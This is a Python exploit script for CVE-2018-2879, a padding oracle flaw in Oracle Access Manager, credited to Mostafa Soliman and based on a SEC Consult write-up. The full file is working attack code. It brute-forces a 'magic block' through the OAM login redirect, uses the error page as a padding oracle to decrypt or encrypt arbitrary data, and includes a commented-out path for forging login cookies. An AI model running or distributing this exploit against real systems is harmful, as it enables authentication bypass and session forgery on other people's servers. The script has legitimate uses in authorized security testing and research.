'''
Oracle OAM Padding Oracle CVE-2018-2879 Exploit
Written By Mostafa Soliman "https://github.com/MostafaSoliman"
Based on the explination by sec-consult "https://www.sec-consult.com/en/blog/2018/05/oracle-access-managers-identity-crisis/"
'''
import argparse
import base64
import sys
import os
import requests
import logging
import socket
import time
import hashlib
from random import randint
from paddingoracle import BadPaddingException, PaddingOracle
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
BLOCK_SIZE = 16
def url_encode(st):
st = st.replace("+","%2B").replace("/","%2F").replace("=","%3D")
return st
def url_decode(st):
st = st.replace("%2B","+").replace("%2F","/").replace("%3D","=")
return st
class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.wait = kwargs.get('wait', 2.0)
self.magic_block = kwargs.get('magic_block')
url = kwargs.get('url')
self.left = url.split("encquery%3D")[0]
self.right = url.split("%20")[1:]
def oracle(self, data, **kwargs):
encquery = base64.b64decode(self.magic_block) + data
encquery = url_encode(base64.b64encode(encquery))
url = self.left+"encquery%3D"+encquery+"%20"+"%20".join(self.right)
while 1:
try:
response = requests.get(url,
stream=False, timeout=15, verify=False)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...',
self.wait)
time.sleep(self.wait)
continue
#exit()
self.history.append(response)
if "System error. Please re-try your action. If you continue to get this error, please contact the Administrator" not in response.text:
logging.debug('No padding exception raised on %s', base64.b64encode(data))
return
raise BadPaddingException
def last_2_blocks(url):
r = requests.get(url,verify=False,allow_redirects=False)
encquery = r.headers['Location'].split("encquery%3D")[1].split("%20")[0]
data = base64.b64decode(url_decode(encquery))
data_blocks = data_to_blocks(data)
return data_blocks[-2:]
def fix_url_padding(url):
if '?' not in url:
url += "?"
else:
url += "&"
r = requests.get(url,verify=False,allow_redirects=False)
encquery = r.headers['Location'].split("encquery%3D")[1].split("%20")[0]
data = base64.b64decode(url_decode(encquery))
last_blocks_number = len(data)
print ' "" --> %d bytes' %(last_blocks_number)
for i in range(1,16):
d = "a"*i
r = requests.get(url+d,verify=False,allow_redirects=False)
encquery = r.headers['Location'].split("encquery%3D")[1].split("%20")[0]
data = base64.b64decode(url_decode(encquery))
print ' "%s" --> %d bytes' %(d,len(data))
if len(data) == last_blocks_number + 16:
print ' "%s" resulted in adding new block ....'%(d)
return url+d,r.headers['Location']
def data_to_blocks(data):
data_blocks = []
for i in range(0,len(data),BLOCK_SIZE):
data_blocks.append(data[i:i+BLOCK_SIZE])
return data_blocks
def oracle(url):
r = requests.get(url,verify=False,allow_redirects=False)
if "System error. Please re-try your action. If you continue to get this error, please contact the Administrator" in r.text:
return False
elif "
Login - Oracle Access Management 11g" in r.text:
return True
else:
print "[Error] The oracle can't identify the response, please check the response manually, identify the difference in reponses and update the exploit"
exit()
def brute(oam_redirect_url,last_blocks):
print "[#] BruteForcing the Magic Block ..."
found = False
left = oam_redirect_url.split("encquery%3D")[0]
right = oam_redirect_url.split("%20")[1:]
encquery = oam_redirect_url.split("encquery%3D")[1].split("%20")[0]
data = base64.b64decode(url_decode(encquery))
data_blocks = data_to_blocks(data)
exec_num = 0
while not found:
new_data = ""
new_data = "".join(data_blocks[:-1])+ "".join([chr(randint(0,255)) for i in range(16)]) + "".join(last_blocks)
new_data = base64.b64encode(new_data)
new_data = url_encode(new_data)
url = left+"encquery%3D"+new_data+"%20"+"%20".join(right)
results = oracle(url)
exec_num += 1
if results :
found = True
print "[#] Magic Block found after %d tries"%(exec_num)
print url_decode(new_data)
return url_decode(new_data)
def check_saved_status(url):
filename = "status.txt"
if os.path.exists(filename):
with open(filename, 'r') as f:
data = f.read()
for line in data.split("\n"):
if url in line:
return line.split("::")[2]
return None
def save_status(target_url,padding_fixed_url,magic_block):
filename = "status.txt"
with open(filename, 'a') as f:
data = f.write("%s::%s::%s\n"%(target_url,padding_fixed_url,magic_block))
def perform_attack(target_url):
print "[#] Getting the Last 2 Blocks ..."
last_blocks = last_2_blocks(target_url)
print "[#] Getting the correct length ..."
padding_fixed_url, oam_redirect_url = fix_url_padding(target_url)
magic_block = brute(oam_redirect_url,last_blocks)
save_status(target_url,padding_fixed_url,magic_block)
return magic_block
def encrypt_data(plain_text,url,magic_block):
print "[#] Encrypting the data (will take several minutes)..... "
if verb:
logging.basicConfig(level=logging.INFO)
logging.getLogger('urllib3.connectionpool').setLevel(logging.INFO)
padbuster = PadBuster(url = url, magic_block = magic_block)
encrypted_data = padbuster.encrypt(plain_text, block_size=BLOCK_SIZE, iv=bytearray(BLOCK_SIZE))
print('Encrypted data: %s' % (base64.b64encode(encrypted_data)))
def decrypt_data(cipher_text,url,magic_block):
print "[#] Decrypting the data (will take several minutes)..... "
if verb:
logging.basicConfig(level=logging.INFO)
logging.getLogger('urllib3.connectionpool').setLevel(logging.INFO)
cipher_text = base64.b64decode(url_decode(cipher_text))
padbuster = PadBuster(url = url, magic_block = magic_block)
decrypted_data = padbuster.decrypt(cipher_text, block_size=BLOCK_SIZE, iv=bytearray(BLOCK_SIZE))
print('Decrypted data: %s' % (decrypted_data))
print('Decrypted data (HEX): %s' % (str(decrypted_data).encode("hex")))
def print_banner():
print """
####### # # # #######
# # # # ## ## # # # ##### # #### # #####
# # # # # # # # # # # # # # # # # #
# # # # # # # ##### ## # # # # # # #
# # ####### # # # ## ##### # # # # #
# # # # # # # # # # # # # # #
####### # # # # ####### # # # ###### #### # #
Oracle Padding Oracle
coded by: Mostafa Soliman
"""
def main():
print_banner()
parser = argparse.ArgumentParser()
parser.add_argument("URL", help="Target resource URL")
parser.add_argument("-e", "--encrypt",help="Encrypt plain text data")
parser.add_argument("-d", "--decrypt",help="Decrypt base64 encode cipher text")
#parser.add_argument("-c", "--craft_cookie",action="store_true",default=False,help="Craft a login cookie")
parser.add_argument("-v", "--verb",action="store_true",default=False,help="Show decrypt block info")
parser.parse_args()
args = parser.parse_args()
target_url = args.URL
global verb
verb = args.verb
magic_block = check_saved_status(target_url)
if not magic_block:
magic_block = perform_attack(target_url)
else:
print "[#] Magic blocks found in saved status"
print magic_block
'''
if args.craft_cookie:
print '[#] Crafting a fake cookie ....'
cookie_str = construct_cookie()
print ' Crafted Cookie:'
print ' ',cookie_str
r = requests.get(target_url,verify=False,allow_redirects=False)
encrypt_data(cookie_str,r.headers['Location'],magic_block)
exit()
'''
if args.encrypt:
r = requests.get(target_url,verify=False,allow_redirects=False)
encrypt_data(args.encrypt,r.headers['Location'],magic_block)
if args.decrypt:
r = requests.get(target_url,verify=False,allow_redirects=False)
decrypt_data(args.decrypt,r.headers['Location'],magic_block)
if __name__ == '__main__':
main()